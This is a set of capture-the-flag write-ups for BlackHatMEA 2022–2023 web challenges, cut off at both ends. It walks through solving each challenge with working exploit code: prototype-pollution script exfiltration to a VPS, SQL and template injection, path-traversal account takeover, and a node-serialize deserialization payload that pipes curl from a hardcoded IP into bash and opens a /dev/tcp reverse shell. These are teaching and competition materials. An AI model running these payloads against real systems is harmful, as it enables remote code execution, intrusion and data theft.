        if(parse_url.host.split(':')[0] == "127.0.0.1"){
            await visit(url).then(res => {
                console.log(url);
            }).catch(e => {
                console.log(e);
            });
            return res.json({msg: "We sent your report to the admin"});
        }else{
            return res.json({msg: "Invalid url"});
        }
    }else{
        res.json({msg: "please submit a url"});
    }
});

app.get('/admin/note', (req, res) => {
    if(!req.ip.includes('127.0.0.1')) return res.redirect('/');
    return res.json({flag: process.env.FLAG});
});
```

* Route `/admin/review` requires a `url` in the `POST` request body. **Line 2**
* Regex could be bypassed by encoding the special characters with URLEncode. **Line 3 to Line 4**
* The provided URL host must be equal to 127.0.0.1 **Line 6**
* The bot (chromium) accesses the URL. **Line 7**
* The flag can be obtained via `/admin/note` route only if the client ipAddress is 127.0.0.1. **Line 22 to 23**

```javascript
app.get('/report', (req, res) => {
    if(req.session.loggedIn){
        return res.render('report.html');
    }else{
        if(req.ip.includes('127.0.0.1')){
            return res.render('report.html');
        }else{
            return res.redirect('/login');
        }
    }
});
```

the developer used a vulnerable **Adobe Dynamic Tag Management** that is included in `report.html` (Client Side Prototype Pollution). [\[1\]](https://github.com/BlackFan/client-side-prototype-pollution/blob/master/gadgets/adobe-dtm.md)

```markup
<script src="https://assets.adobedtm.com/launch-ENa21cfed3f06f4ddf9690de8077b39e81-development.min.js" async></script>
```

### Exploit

I developed a custom payload for the client-side prototype pollution that bypasses most regex special characters without encoding.

#### Note you must change `VPS.IPAddress` to your VPS IPAddress.

**Payload**

```
http://127.0.0.1:1337/report?__proto__[src]=http://VPS.IPAddress/file.js
```

**POST Request Payload**

```url
url=http://127.0.0.1:1337/report?__proto__%5bsrc%5d=http://VPS.IPAddress/file.js
```

* encodes `[]`only.

**file.js** Content

```javascript
let get = async (url) => {
    let data = await fetch(url, { mode: 'cors' })
        .then( (response) => { return response.text() })
        .then( data => {
            return btoa(data);
        })
        .catch( (error) => { return btoa(error.toString()) });
    return data;
};

let ipAddress = 'VPS.IPAddress';
let execute = () => {
    get('http://127.0.0.1:1337/admin/note')
    .then( (data) => {
        get(`http://${ipAddress}/?response=${data}`);
    });
};
execute();
```

**server.py** Content

```python
#!/usr/bin/env python3
from http.server import HTTPServer, SimpleHTTPRequestHandler, test
from urllib.parse import urlparse, parse_qs
from base64 import b64decode

class CORSRequestHandler (SimpleHTTPRequestHandler):
    def end_headers (self):
        params = parse_qs(urlparse(self.path).query)
        if 'response' in params:
            data = b64decode(params['response'][0])
            print(data)
        self.send_header('Access-Control-Allow-Origin', '*')
        SimpleHTTPRequestHandler.end_headers(self)

if __name__ == '__main__':
    test(CORSRequestHandler, HTTPServer, port=80)
```

**Result**

```bash
root@ubuntu-s-2vcpu-2gb-amd-lon1-01:/dev/shm# python3 server.py 
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
"GET /file.js HTTP/1.1" 200 -
"GET /?response=eyJmbGFnIjoiZmxhZ3tZb3VfR290X0l0fSJ9 HTTP/1.1" 200 -
b'{"flag":"flag{You_Got_It}"}'
```

## References

1. <https://github.com/BlackFan/client-side-prototype-pollution/blob/master/gadgets/adobe-dtm.md>


# BlackHatMEA Quals 2022

| Category            | Challenge name                                               | Difficulty / Points |
| ------------------- | ------------------------------------------------------------ | ------------------- |
| Web                 | [Spatify](/ctf/blackhatmea-quals-2022/spatify)               | Easy / 150          |
| Web                 | [PeehPee](/ctf/blackhatmea-quals-2022/peehpee)               | Easy / 150          |
| Web                 | [Meme generator](/ctf/blackhatmea-quals-2022/meme-generator) | Medium / 250        |
| Web                 | [Black notes](/ctf/blackhatmea-quals-2022/black-notes)       | Medium / 250        |
| Web                 | [Jimmy's blog](/ctf/blackhatmea-quals-2022/jimmys-blog)      | Hard / 400          |
| Reverse engineering | SelfReg                                                      | Easy / 150          |
| Reverse engineering | FinalGate                                                    | Medium / 250        |
| Reverse engineering | Hope you know JS                                             | Hard / 400          |
| Exploit development | fno-stack-protector                                          | Easy / 150          |
| Exploit development | Secret note                                                  | Medium / 250        |
| Exploit development | Robot factory                                                | Hard / 400          |
| Cryptography        | Ursa                                                         | Easy / 150          |
| Cryptography        | Nothing Up My Sbox                                           | Medium / 250        |
| Digital forensics   | Bus                                                          | Easy / 150          |
| Digital forensics   | Mem                                                          | Medium / 250        |

**Black Hat MEA** in collaboration with Saudi Federation for Cybersecurity, Programming & Drones (SAFCSP) will host a Capture The Flag Tournament, with over 1,000 participants entering the final stages at different levels of competency: amateur, intermediate, and expert, to help strengthen their ethical hacking skills. Year two will see the capture the flag competition run as a jeopardy-style competition both in the qualification and final stages. Participants will be challenged across a range of categories during the competition including:

* Web
* PWN
* Forensics
* Reverse Engineering
* Crypto and others.

**Approximately 250 teams (1,000 participants)** will battle it out in the final over a three-day challenge to compete for cash prizes and the honour of being the tournament’s winner. To be one of the participants for the CTF final round, you must rank amongst the top 1,000 participants in the qualification round. Details of the qualification and final rounds are below.&#x20;

Qualification\
Round (Online)

* **Date:** Friday, 30 Sep 2022, 14:00 GMT (05:00 PM KSA Time)
* **Duration:** 30 hours.
* **Location:** Online
* **Team Style:** (3-5 players)

{% embed url="<https://blackhatmea.com/capture-the-flag>" %}
BlackHatMEA
{% endembed %}


# Spatify

## Difficulty

Easy

## Points

150

## Description

Welcome to spatify, the perfect place to enjoy some royalty-free music with neither ads nor vulnerabilities at all!

## Quick Analysis

### Spatify robots.txt file discovery

After running the **Burpsuite** crawler, or any crawler, the crawler discovered a `/robots.txt` file.

### What is a robots.txt file used for? [\[1\]](https://developers.google.com/search/docs/crawling-indexing/robots/intro)

The `robots.txt` file tells search engine crawlers which URLs the crawler can access on your site.

### Content of robots.txt

```python
from requests import get, post
url = 'https://blackhat4-944f71937411184fb04dddb0c9371eb1-0.chals.bh.ctf.sa'
```

```python
file = '/robots.txt'
response = get(url + file)
print(response.text)
```

```
User-agent: *
Disallow: /superhiddenadminpanel/
```

### Spatify's admin panel

The Spatify admin panel `/superhiddenadminpanel/` can only be access via a password.

### Spatify search engine

The Spatify home page `/` search for music based on the music name.\
Default listed music

```html
<div class="mb-2"><b>[FEATURED] Goldn - Praz Khanal</b></div>
<div class="player mx-auto w-100 mb-4">
    <audio>
        <source src="/static/audio/goldn.mp3" type="audio/mpeg">
    </audio>
</div>

<div class="mb-2"><b>[FEATURED] Guitar Electro Sport Trailer - Gvidon</b></div>
<div class="player mx-auto w-100 mb-4">
    <audio>
        <source src="/static/audio/guitar.mp3" type="audio/mpeg">
    </audio>
</div>

<div class="mb-2"><b>[FEATURED] Learn SQL in 3 minutes</b></div>
<div class="player mx-auto w-100 mb-4">
    <audio>
        <source src="/static/audio/learn_sql.mp3" type="audio/mpeg">
    </audio>
</div>
```

#### Analyze the search SQL Query

The search requires input with at least five characters.\
The common word between all three music names is `FEATURED`. The result of `FEATURED` search is the same as the home page default music.\
I assume the `SQL Query` querying is based on `LIKE` operator.

### The SQL LIKE Operator [\[2\]](https://www.w3schools.com/sql/sql_like.asp)

The LIKE operator is used in a WHERE clause to search for a specified pattern in a column.

There are two wildcards often used in conjunction with the LIKE operator:

* The percent sign (%) represents zero, one, or multiple characters
* The underscore sign (\_) represents one, single character

#### LIKE syntax

```
SELECT column1, column2, ...
FROM table_name
WHERE columnN LIKE pattern; 
```

#### Spotify Search with SQL Wildcards

The result of `FEATURE%` search is the same as the home page default music, which means the query is injectable with `SQL wildcards`.

## Exploitation

### SQL wildcard injection

List all music records with wildcards with five percent signs `%`. `q=%%%%%%`

```html
<div class="mb-2"><b>😋 🅟🅐🅢🅢🅦🅞🅡🅓 🅑🅐🅒🅚🅤🅟 😋</b></div>
<div class="player mx-auto w-100 mb-4">
    <audio>
        <source src="/static/audio/secret_password_backup.txt.bak" type="audio/mpeg">
    </audio>
</div>

<div class="mb-2"><b>[FEATURED] Goldn - Praz Khanal</b></div>
<div class="player mx-auto w-100 mb-4">
    <audio>
        <source src="/static/audio/goldn.mp3" type="audio/mpeg">
    </audio>
</div>

<div class="mb-2"><b>[FEATURED] Guitar Electro Sport Trailer - Gvidon</b></div>
<div class="player mx-auto w-100 mb-4">
    <audio>
        <source src="/static/audio/guitar.mp3" type="audio/mpeg">
    </audio>
</div>

<div class="mb-2"><b>[FEATURED] Learn SQL in 3 minutes</b></div>
<div class="player mx-auto w-100 mb-4">
    <audio>
        <source src="/static/audio/learn_sql.mp3" type="audio/mpeg">
    </audio>
</div>
```

### Content of secret\_password\_backup.txt.bak

```python
file = '/static/audio/secret_password_backup.txt.bak'
response = get(url + file)
print(response.text)
```

```
THISISTHEPASSWORDTOTHEADMINPANEL123321123321
```

### The flag

```python
import re
endpoint = '/superhiddenadminpanel/'
data = { 'password': 'THISISTHEPASSWORDTOTHEADMINPANEL123321123321' }
response = post(url + endpoint, data = data)
html = response.text
flag = re.search('BlackHatMEA{(.*)}', html)
print(flag.group(0))
```

```
BlackHatMEA{551:14:dc339129777027c07c8c63bd0310f7da6d9074a6}
```

## References

* <https://developers.google.com/search/docs/crawling-indexing/robots/intro>
* <https://www.w3schools.com/sql/sql\\_like.asp>


# PeehPee

## Difficulty

Easy

## Points

150

## Description

Are you able to access the secret area of Naruto ? I guess it's not that hard for you!

## Quick Analysis

View the application source code via `/?source` endpoint

```python
from requests import get, post
url = 'https://blackhat4-1f84feb8cf11458ef1fb78a4cfea94f8-0.chals.bh.ctf.sa'
```

```php
<?php
//Show Page code source
if(isset($_GET["source"])){
    highlight_file(__FILE__);
}
// Juicy PHP Part
$flag=getenv("FLAG");
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if(isset($_POST["email"])&&isset($_POST["pass"])){
        if($_POST["email"]==="admin@naruto.com"){
            $x=$_POST["test"];
            $inp=preg_replace("/[^A-Za-z0-9$]/","",$_POST["pass"]);
            if($inp==="SuperSecRetPassw0rd"){
                die("Hacking Attempt detected");
            }
            else{
                if(eval("return \$inp=\"$inp\";")==="SuperSecRetPassw0rd"){
                    echo $flag;
                }
                else{
                    die("Pretty Close maybe ?");
                }
            }

        }
    }
}
?>
```

From the source code to obtain the flag:

* The request method should be `POST` request.
* The email parameter value must be `admin@naruto.com`.
* The regex match a single character not present in `a-z` or `A-Z` or `0-9` or `$` for the pass parameter.
* The pass parameter value shouldn't equal `SuperSecRetPassw0rd`.
* The eval function evaluates the pass parameter value.
* The test parameter value is stored in the `$x` variable.

Since the pass parameter value is evaluated, the password `SuperSecRetPassw0rd` can be returned after evaluation via the test parameter `$x` variable.

## Exploitation

```python
data = { 'email': 'admin@naruto.com', 'test': 'SuperSecRetPassw0rd', 'pass': '$x' }
response = post(url, data = data)
```

### The Flag

```python
import re
html = response.text
flag = re.search('BlackHatMEA{(.*)}', html)
print(flag.group(0))
```

```
BlackHatMEA{551:17:5d19f71744009b71e8809d46d3b65876dbb5adff}
```


# Meme generator

The solution is unintended.

## Difficulty

Medium

## Points

250

## Description

Creating memes manually can sometimes become repetitive and boring, so I made this app to make your life easier. Although there's just one template available yet, it is fully customizable! You can do absolutely anything with it, even getting flags! (That's what a friend of mine said, not that I understand what a flag is)

## Quick Analysis

View the application source code via `/source` endpoint

```python
import utils
from flask import Flask, render_template, request
import os
import html

app = Flask(__name__)

@app.route("/")
def index():
    return render_template("index.html")

@app.route("/api/generate", methods = ["POST"])
def generate():
    search_engine = request.form.get("search_engine")
    query = request.form.get("query")
    if not (search_engine and query):
        return "", 400
    utils.take_screenshot(search_engine, query)
    utils.make_meme()
    return "", 200

@app.route("/source")
def source():
    with open(__file__, "r") as f:
        return f"<pre><code>{html.escape(f.read())}</code></pre>", 200

@app.route("/flag")
def flag():
    # TODO: Fix typo
    if request.remote_addr == "127.0.0.1" and request.url.startswith("http://l0calhost"):
        return os.getenv("FLAG"), 200
    return "Nice try", 200

app.run("0.0.0.0", 8080)
```

### The home page endpoint `/`

* the `index` function renders `index.html`
* The home page `index.html` asks for a `search_engine` input and a `query` input to generate a meme.

### The generator endpoint `/api/generate`

* The `search_engine` parameter and the `query` parameter must be defined.
* The `search_engine` value and the `query` value passed to the `take_screenshot` function.
* The `make_meme` function is called after taking the screenshot.

### The flag endpoint `/flag`

The flag can be obtained only if

* The address of the client sending the request is `127.0.0.1`.
* The URL scheme must start with `http://l0calhost`.
* The todo comment `# TODO: Fix typo` is about `request.url.startswith("http://l0calhost")`.

**Note:**\
**The application is running on port 8080**

### Generate a meme via the home page

#### Analyzing the query input

* Choose `google` as a value for the search engine.
* Enter `diefunction` as a value for the query.\
  The application returns an image containing the google search page with `diefunction` as a keyword for the search.

#### Execute javascript code on the client's browser

* Choose google as a value for the search engine.
* Enter `~!@#$%^&*()-_=+[]{]\|;:'",.<>/?` separately as a value for the query.\
  I noticed that if the query value contains `"` the generator returns an empty page in the image.

**Proof of concept**

I assumed the challenge uses a browser driver to take a screenshot, and the injection code should be Javascript.

* Choose google as a value for the search engine.
* Enter `"+String.fromCharCode(65);escape="` javascript code as a value for the query.\
  The meme generator returns the google search page with `A` character as a keyword for the search meaning the browser executed the Javascript code.

**The client browser**

* Choose google as a value for the search engine.
* Enter `";top.location="http://<burpcollaborator>` Javascript code as a value for the query.\
  From the Burpsuite collaborator output, the `User-Agent` appears to be `Headless Chrome`.

## Exploitation

* Since the browser is chrome, the translation of `*.localhost` is always translated to `127.0.0.1`, without `/etc/host` or `DNS` workarounds. [\[1\]](https://datatracker.ietf.org/doc/html/draft-west-let-localhost-be-localhost-06)
* Choose google as a value for the search engine.
* Enter `";top.location="http://l0calhost.localhost` Javascript code as a value for the query.

## The flag

After generating a meme with the crafted javascript payload in the exploitation section, the `make_meme` function returns an image with the challenge flag.

<figure><img src="/files/xGdr4HBo61w5SimqGtAu" alt=""><figcaption><p>Flag</p></figcaption></figure>

BlackHatMEA{551:15:aa0910737fd02a9445d1f0250d03dd3b8c9e27b8}

## References

* <https://datatracker.ietf.org/doc/html/draft-west-let-localhost-be-localhost-06>
* <https://ma.ttias.be/chrome-force-dev-domains-https-via-preloaded-hsts/>
* <https://webmasters.stackexchange.com/questions/88636/why-does-chrome-resolve-websitename-localhost-as-localhost>


# Black notes

## Difficulty

Medium

## Points

250

## Description

We created this website for hackers to save thier payloads and notes in a secure way

## Quick Analysis

After registration, the endpoint `register` return `notes` cookie, which is a base64 `eyJub3RlcyI6eyIwIjoiU2FtcGxlIE5vdGUifX0=` and redirect to `/notes` endpoint. The endpoint `/notes` rendered the registered `username` and `Sample Note`.

### Analyzing the notes endpoint and cookie

Decode the cookie value of notes `eyJub3RlcyI6eyIwIjoiU2FtcGxlIE5vdGUifX0=` using Base64 algorithm.

```python
from base64 import b64encode, b64decode

notes_value = 'eyJub3RlcyI6eyIwIjoiU2FtcGxlIE5vdGUifX0='
b64decode(notes_value).decode()
```

```
'{"notes":{"0":"Sample Note"}}'
```

The JSON object contains notes that are parsed and returned in the endpoint `/notes`.

### Unhandeled Exception

What if the JSON object is unparsable.

```python
payload = b'{"notes":{"0":"Sample Note"},}'
b64encode(payload).decode()
```

```
'eyJub3RlcyI6eyIwIjoiU2FtcGxlIE5vdGUifSx9'
```

Change the cookie value of notes then, reload the endpoint `/notes`.

```javascript
SyntaxError: Unexpected token O in JSON at position 29
    at JSON.parse (<anonymous>)
    at exports.unserialize (/data/node_modules/node-serialize/lib/serialize.js:62:16)
    at /data/app.js:42:37
    at Layer.handle [as handle_request] (/data/node_modules/express/lib/router/layer.js:95:5)
    at next (/data/node_modules/express/lib/router/route.js:144:13)
    at Route.dispatch (/data/node_modules/express/lib/router/route.js:114:3)
    at Layer.handle [as handle_request] (/data/node_modules/express/lib/router/layer.js:95:5)
    at /data/node_modules/express/lib/router/index.js:284:15
    at Function.process_params (/data/node_modules/express/lib/router/index.js:346:12)
    at next (/data/node_modules/express/lib/router/index.js:280:10)
```

From the exception, the endpoint `/notes` uses `node-serialize` to unserialize the object.

## Exploitation

I assumed the application is vulnerable to unsafe deserialization, and this challenge is the same as the ZDITECH example [\[1\]](https://zditect.com/code/javascript/exploiting-nodejs-deserialization-bug-for-remote-code-execution.html).

### Proof of concept

Since the endpoint `/notes` render the notes object, craft a function that returns `1`; if the application is vulnerable, the endpoint `/notes` should return `1` on the page.\
Payload

```python
payload = b'{"notes":{"0":"Sample Note","1":"_$$ND_FUNC$$_function (){return 1;}()"}}'
b64encode(payload).decode()
```

```
'eyJub3RlcyI6eyIwIjoiU2FtcGxlIE5vdGUiLCIxIjoiXyQkTkRfRlVOQyQkX2Z1bmN0aW9uICgpe3JldHVybiAxO30oKSJ9fQ=='
```

Change the cookie value of notes then, reload the endpoint `/notes`.\
After reloading the endpoint `/notes`, the payload executed and returned `1`.

### Reverse shell

Run an HTTP server on port 80

```bash
python3 -m http.server 80
```

Create `index.html` with content

```bash
#!/bin/bash
/bin/bash -c '/bin/bash -i >& /dev/tcp/188.166.173.195/443 0>&1'
```

Payload

```json
{"notes":{"0":"Sample Note","1":"_$$ND_FUNC$$_function (){require('child_process').exec('curl 188.166.173.195 | bash', function(error, stdout, stdin){});}()"}}
```

* The function executes the command `curl 188.166.173.195 | bash` via `exec` function.
* The command `curl 188.166.173.195 | bash` requests the `index.html` content from `188.166.173.195` via `curl`, then `curl` pipes the content of `index.html` to `bash`.
* Start a `netcat` listener on port 443

```bash
nc -lnvp 443
```

```python
payload = b"{\"notes\":{\"0\":\"Sample Note\",\"1\":\"_$$ND_FUNC$$_function (){require('child_process').exec('curl 188.166.173.195 | bash', function(error, stdout, stdin){});}()\"}}"

b64encode(payload).decode()
```

```
'eyJub3RlcyI6eyIwIjoiU2FtcGxlIE5vdGUiLCIxIjoiXyQkTkRfRlVOQyQkX2Z1bmN0aW9uICgpe3JlcXVpcmUoJ2NoaWxkX3Byb2Nlc3MnKS5leGVjKCdjdXJsIDE4OC4xNjYuMTczLjE5NSB8IGJhc2gnLCBmdW5jdGlvbihlcnJvciwgc3Rkb3V0LCBzdGRpbil7fSk7fSgpIn19'
```

Change the cookie value of notes then, reload the endpoint `/notes` to obtain a reverse shell.

### The flag

Execute `printenv` command on the challenge server to get the flag.

```
FLAG=BlackHatMEA{551:18:d6c3f76447af44a983af790e399a8f87fb8f4693}
```

## References

* <https://zditect.com/code/javascript/exploiting-nodejs-deserialization-bug-for-remote-code-execution.html>


# Jimmy's blog

## Difficulty

Hard

## Points

400

## Description

The technology is always evolving, so why do we still stick with password-based authentication? That makes no sense! That’s why I designed my own password-less login system. I even open-sourced it for everyone interested, how nice of me!

## Quick Analysis

From the attached source code.

### Content of index.js

```javascript
...
const utils = require("./utils");
...
app.get("/article", (req, res) => {
    const id = parseInt(req.query.id).toString();
    const article_path = path.join("articles", id);
    try {
        const contents = fs.readFileSync(article_path).toString().split("\n\n");
        const article = {
            id: article_path,
            date: contents[0],
            title: contents[1],
            summary: contents[2],
            content: contents[3]
        }
        res.render("article", { article: article, session: req.session, flag: process.env.FLAG });
    } catch {
        res.sendStatus(404);
    }
})
...
app.post("/register", (req, res) => {
    const username = req.body.username;
    const result = utils.register(username);
    if (result.success) res.download(result.data, username + ".key");
    else res.render("register", { error: result.data, session: req.session });
})

app.post("/login", upload.single('key'), (req, res) => {
    const username = req.body.username;
    const key = req.file;
    const result = utils.login(username, key.buffer);
    if (result.success) { 
        req.session.username = result.data.username;
        req.session.admin = result.data.admin;
        res.redirect("/");
    }
    else res.render("login", { error: result.data, session: req.session });
})

app.get("/logout", (req, res) => {
    req.session.destroy();
    res.redirect("/");
})

app.get("/edit", (req, res) => {
    if (!req.session.admin) return res.sendStatus(401);
    const id = parseInt(req.query.id).toString();
    const article_path = path.join("articles", id);
    try {
        const article = fs.readFileSync(article_path).toString();
        res.render("edit", { article: article, session: req.session, flag: process.env.FLAG });
    } catch {
        res.sendStatus(404);
    }
})

app.post("/edit", (req, res) => {
    if (!req.session.admin) return res.sendStatus(401);
    try {
        fs.writeFileSync(path.join("articles", req.query.id), req.body.article.replace(/\r/g, ""));
        res.redirect("/");
    } catch {
        res.sendStatus(404);
    }
})
```

### Content of article.ejs

```html
<!doctype html>
<html>
    <%- include('head.ejs') %>
    <body class="text-dark bg-light">
        <%- include('navbar.ejs') %>
        <div class="container my-5 px-5">
            <div class="card mb-4">
              <div class="card-header">
                <%= article.date %>
              </div>
              <div class="card-body">
                <h5 class="card-title"><%= article.title %></h5>
                <p class="card-text">
                  <%= article.summary %>
                  <hr class="mb-0">
                  <div class="pre-line">
                    <%= article.content %>
                  </div>
                </p>
              </div>
              <div class="card-footer text-muted">
                Generated by AI
              </div>
            </div>
        </div>
        <%- include('scripts.ejs') %>
    </body>
</html>
```

### Content of edit.ejs

```html
<!doctype html>
<html>
    <%- include('head.ejs') %>
    <body class="text-dark bg-light">
        <%- include('navbar.ejs') %>
        <div class="container my-5 px-5">
          <h3 class="text-center">Welcome jimmy_jammy, your flag is</h3>
          <p class="mb-5 text-center"><%= flag %></p>
          <h3>Meanwhile, please feel free to edit your article</h3>
          <form method="POST">
            <textarea class="form-control mb-3" rows="15" name="article"><%= article %></textarea>
            <button type="submit" class="btn btn-dark w-100">Save Changes</button>
          </form>
        </div>
        <%- include('scripts.ejs') %>
    </body>
</html>
```

### Content of utils.js

```javascript
const sqlite = require("better-sqlite3");
const path = require("path");
const crypto = require("crypto")
const fs = require("fs");

const db = new sqlite(":memory:");

db.exec(`
    DROP TABLE IF EXISTS users;

    CREATE TABLE IF NOT EXISTS users (
        id         INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
        username   VARCHAR(255) NOT NULL UNIQUE,
        admin      INTEGER NOT NULL
    )
`);

register("jimmy_jammy", 1);

function register(username, admin = 0) {
    try {
        db.prepare("INSERT INTO users (username, admin) VALUES (?, ?)").run(username, admin);
    } catch {
        return { success: false, data: "Username already taken" }
    }
    const key_path = path.join(__dirname, "keys", username + ".key");
    const contents = crypto.randomBytes(1024);
    fs.writeFileSync(key_path, contents);
    return { success: true, data: key_path };
}

function login(username, key) {
    const user = db.prepare("SELECT * FROM users WHERE username = ?").get(username);
    if (!user) return { success: false, data: "User does not exist" };

    if (key.length !== 1024) return { success: false, data: "Invalid access key" };
    const key_path = path.join(__dirname, "keys", username + ".key");
    if (key.compare(fs.readFileSync(key_path)) !== 0) return { success: false, data: "Wrong access key" };
    return { success: true, data: user };
}

module.exports = { register, login };
```

### NGINX configuration

```nginx
server {
        listen 80 default_server;
        listen [::]:80 default_server;

        server_name _;

        location / {
			# Replace the flag so nobody steals it!
            sub_filter 'placeholder_for_flag' 'oof, that was close, glad i was here to save the day';
            sub_filter_once off;
            proxy_pass http://localhost:3000;
        }
}
```

### Analyzing `index.js`

* The `index.js` requires `util.js` file.
* The endpoint `/register` requires a username only and returns a key for authentication.
* The endpoint `/login` requires a username and a `key` file.
* The flag passed to `article.ejs` view `res.render("article", { article: article, session: req.session, flag: process.env.FLAG });`.
* The flag is not rendered via `/article` endpoint based on the content of the `article.ejs`.
* The flag passed to `edit.js` view `res.render("edit", { article: article, session: req.session, flag: process.env.FLAG });`.
* The flag is rendered via `GET` `/edit?id=<INTEGER>` endpoint based on the content of the `edit.ejs`: `<p class="mb-5 text-center"><%= flag %></p>`
* The endpoint `/edit` requires an admin session `if (!req.session.admin) return res.sendStatus(401);` for both methods `GET` and `POST`.
* The `POST` endpoint `/edit?id=<string>` is vulnerable, where you could path traverse via the `id` parameter `./articles/<id>` and write content to the traversal path via the article `POST` parameter. `fs.writeFileSync(path.join("articles", req.query.id), req.body.article.replace(/\r/g, ""));`

### Analyzing `utils.js`

* the utils file registered an administrator user with `jimmy_jammy` as a username and a random key with 1024 bytes `register("jimmy_jammy", 1);`.
* the register function is vulnerable to account takeover, where you could traversal and overwrite an existing user's key.

### Analyzing NGINX configuration [\[1\]](http://nginx.org/en/docs/http/ngx_http_sub_module.html#sub_filter)

* the flag is replaced with `oof, that was close, glad i was here to save the day` via NGINX `sub_filter`.\
  The ngx\_http\_sub\_module module is a filter that modifies a response by replacing one specified string by another.\
  This module is not built by default, it should be enabled with the --with-http\_sub\_module configuration parameter.

## Exploitation

* Register `./jimmy_jammy` to overwrite the actual `jimmy_jammy` key.
* Login with `jimmy_jammy` and use the key that we obtained via the registration function.
* Edit the `edit.js` view to `<%= btoa(flag) %>` which encodes the flag to base64 via `POST` `/edit?id=../views/edit.js` `article=<%25%3d+btoa(flag)+%25>` to bypass the NGINX sub\_filter.

```python
from requests import get, post, Session
session = Session()

url = 'https://blackhat4-48f58fefc9582c2fac90f05e4182f191-0.chals.bh.ctf.sa'

username = 'jimmy_jammy'
# register
endpoint = '/register'
data = { 'username': f'./{username}' }
key = post(url + endpoint, data = data).content
files = { 'key': (f'{username}.key', key, 'application/vnd.apple.keynote') }

# login
endpoint = '/login'
data = { 'username': username }
session.post(url + endpoint, files = files, data = data)

# overwrite the edit.ejs view
endpoint = '/edit'
params = { 'id': '../views/edit.ejs' }
data = { 'article': '<%= btoa(flag) %>' }
session.post(url + endpoint, data = data, params = params)

# get the flag
endpoint = '/edit'
params = { 'id': '1' }
flag = session.get(url + endpoint, params = params).text
```

## The flag

Navigate to the endpoint `/edit?id=1` to get the base64 flag

```python
from base64 import b64decode

b64decode(flag).decode()
```

```
'BlackHatMEA{551:16:74149ec3a111aa888acdca0eff649540e96c3f1b}'
```

## References

* <http://nginx.org/en/docs/http/ngx\\_http\\_sub\\_module.html#sub\\_filter>


# BlackHatMEA Quals 2023

Qualifications CTF

Platform: [Flagyard](https://flagyard.com/)

Duration: 24 hours

Password for all Challenges files: **flagyard**

&#x20;Flag Format: **BHFlagY{flag}**

{% embed url="<https://x.com/blackhatmea/status/1711030438851166395?s=46&t=vD3E1qVldXQafUdPZe1Ypw>" %}
BlackHatMEA 2023
{% endembed %}


# Web - Hardy

**No source code was provided**

## Solution

The parameter names are vulnerable to SQL Injection

### **Dumping the admin password**

```
username=admin&SUBSTRING(password,1,1)=I
```

```
username=admin&SUBSTRING(password,1,2)=IL
```

```
username=admin&SUBSTRING(password,1,3)=ILI
```

**ILIKEpotatoesSOMUCH::&&** is the password for the admin

the password also is being used as a **JWT** secret and the application is vulnerable to SSTI `{'type':'{{<payload>}}'}`

### **The Flag**

```
flask-unsign --sign \ 
--cookie "{'type': '{{cycler.__init__.__globals__.os.popen(\"cat /flag_086bf2851588e4e353fecee934635e09.txt\").read()}}'}" \
--secret "ILIKEpotatoesSOMUCH::&&"
```


# Web - Authy

### Challenge

```go
package controllers

import (
	"encoding/json"
	"io"
	"net/http"
	"os"

	"github.com/blackhat/db"
	"github.com/blackhat/helper"
	models "github.com/blackhat/model"
	"github.com/labstack/echo/v4"
	"github.com/labstack/gommon/log"
	"golang.org/x/crypto/bcrypt"
)

func Registration(c echo.Context) error {
	var user models.Users
	body, _ := io.ReadAll(c.Request().Body)
	err := json.Unmarshal(body, &user)
	if err != nil {
		return err
	}
	if len(user.Password) < 6 {
		log.Error("Password too short")
		resp := c.JSON(http.StatusConflict, helper.ErrorLog(http.StatusConflict, "Password too short", "EXT_REF"))
		return resp
	}
	DB := db.DB()
	var count int
	sqlStatement := `Select count(username) from users where username=?`
	err = DB.QueryRow(sqlStatement, user.Username).Scan(&count)
	if err != nil {
		log.Error(err.Error())
	}
	if count > 0 {
		log.Error("username already used")
		resp := c.JSON(http.StatusConflict, helper.ErrorLog(http.StatusConflict, "username already used", "EXT_REF"))
		return resp
	}
	//hashing password (even it's a CTF, stick to the good habits)
	hash, err := bcrypt.GenerateFromPassword([]byte(user.Password), 5)
	if err != nil {
		resp := c.JSON(http.StatusInternalServerError, helper.ErrorLog(http.StatusInternalServerError, " Error While Hashing Password", "EXT_REF"))
		return resp
	}
	user.Password = string(hash)
	user.DateCreated = helper.DateTime()
	user.Token = helper.JwtGenerator(user.Username, user.Firstname, user.Lastname, os.Getenv("SECRET"))
	stmt, err := DB.Prepare("Insert into users (username,firstname,lastname,password,token,datecreated) VALUES (?,?,?,?,?,?)")
	if err != nil {
		resp := c.JSON(http.StatusInternalServerError, helper.ErrorLog(http.StatusInternalServerError, "Error when prepare statement : "+err.Error(), "EXT_REF"))
		return resp
	}
	_, err = stmt.Exec(user.Username, user.Firstname, user.Lastname, user.Password, user.Token, user.DateCreated)
	if err != nil {
		log.Error(err)
		resp := c.JSON(http.StatusInternalServerError, helper.ErrorLog(http.StatusInternalServerError, "Error when execute statement : "+err.Error(), "EXT_REF"))
		return resp
	}
	resp := c.JSON(http.StatusOK, user)
	log.Info()
	return resp
}

type Flag struct {
	Flag string `json:"flag"`
}

func LoginController(c echo.Context) error {
	var user models.Users
	payload, _ := io.ReadAll(c.Request().Body)
	err := json.Unmarshal(payload, &user)

	if err != nil {
		log.Error(err)
		return err
	}
	var result models.Users
	DB := db.DB()
	sqlStatement := "select * from users where username=?"

	err = DB.QueryRow(sqlStatement, user.Username).Scan(&result.Username, &result.Firstname, &result.Lastname, &result.Password, &result.Token, &result.DateCreated)
	if err != nil {
		log.Error(err)
		resp := c.JSON(http.StatusInternalServerError, helper.ErrorLog(http.StatusInternalServerError, "Invalid Username", "EXT_REF"))
		return resp
	}

	err = bcrypt.CompareHashAndPassword([]byte(result.Password), []byte(user.Password))
	if err != nil {
		log.Error("Invalid Password :", err)
		resp := c.JSON(http.StatusInternalServerError, helper.ErrorLog(http.StatusInternalServerError, "Invalid Password", "EXT_REF"))
		return resp
	}
	password := []rune(user.Password)
	result.Token = helper.JwtGenerator(result.Username, result.Firstname, result.Lastname, os.Getenv("SECRET"))
	if len(password) < 6 {
		flag := os.Getenv("FLAG")
		res := &Flag{
			Flag: flag,
		}
		resp := c.JSON(http.StatusOK, res)
		log.Info()
		return resp
	}
	resp := c.JSON(http.StatusOK, result)
	log.Info()
	return resp
}

```

**Solution**

```
http://a0305e414660cbe848025.playat.flagyard.com/registration
{
    "username": "diefunction",
    "firstname": "dot",
    "lastname": "pep",
    "password": "🙂🙂"
}
